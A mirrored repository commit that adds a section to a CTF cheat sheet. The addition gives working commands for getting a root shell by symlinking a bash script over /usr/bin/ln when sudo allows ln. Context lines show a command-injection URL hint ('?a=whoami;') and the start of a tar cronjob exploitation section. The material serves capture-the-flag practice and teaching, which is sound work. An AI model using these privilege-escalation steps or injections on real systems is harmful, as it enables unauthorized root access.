Mirrors/CTF-Writeups
2
0
Fork 0
mirror of https://github.com/AbdullahRizwan101/CTF-Writeups synced 2024-11-21 19:43:03 +00:00
Code Issues Projects Releases Packages Wiki Activity

Update Cheat Sheet.md

Browse source
This commit is contained in:
AbdullahRizwan101 2021-01-14 00:45:08 +05:00 committed by GitHub
parent f2bce717c7
commit b6be592f0f
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 11 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

11
Cheat Sheet.md
View file

@ -126,6 +126,17 @@ Login as any user to see that it gets logged then try to login with a malicious
Then `http://ip/page?a=whoami;`
### Getting root with ln (symlink)
If we have permissions to run /usr/bin/ln as root we can onw the machine
```
echo 'bash' > root
chmod +x root
sudo /usr/bin/ln -sf /tmp/root /usr/bin/ln
sudo /usr/bin/ln
```
### Tar Exploitation
When ever you see a cronjob running with a command `cd /<user>/andre/backup tar -zcf /<folder>/filetar.gz *` go to that folder from which a backup is being created and running these command in that directory <br/ >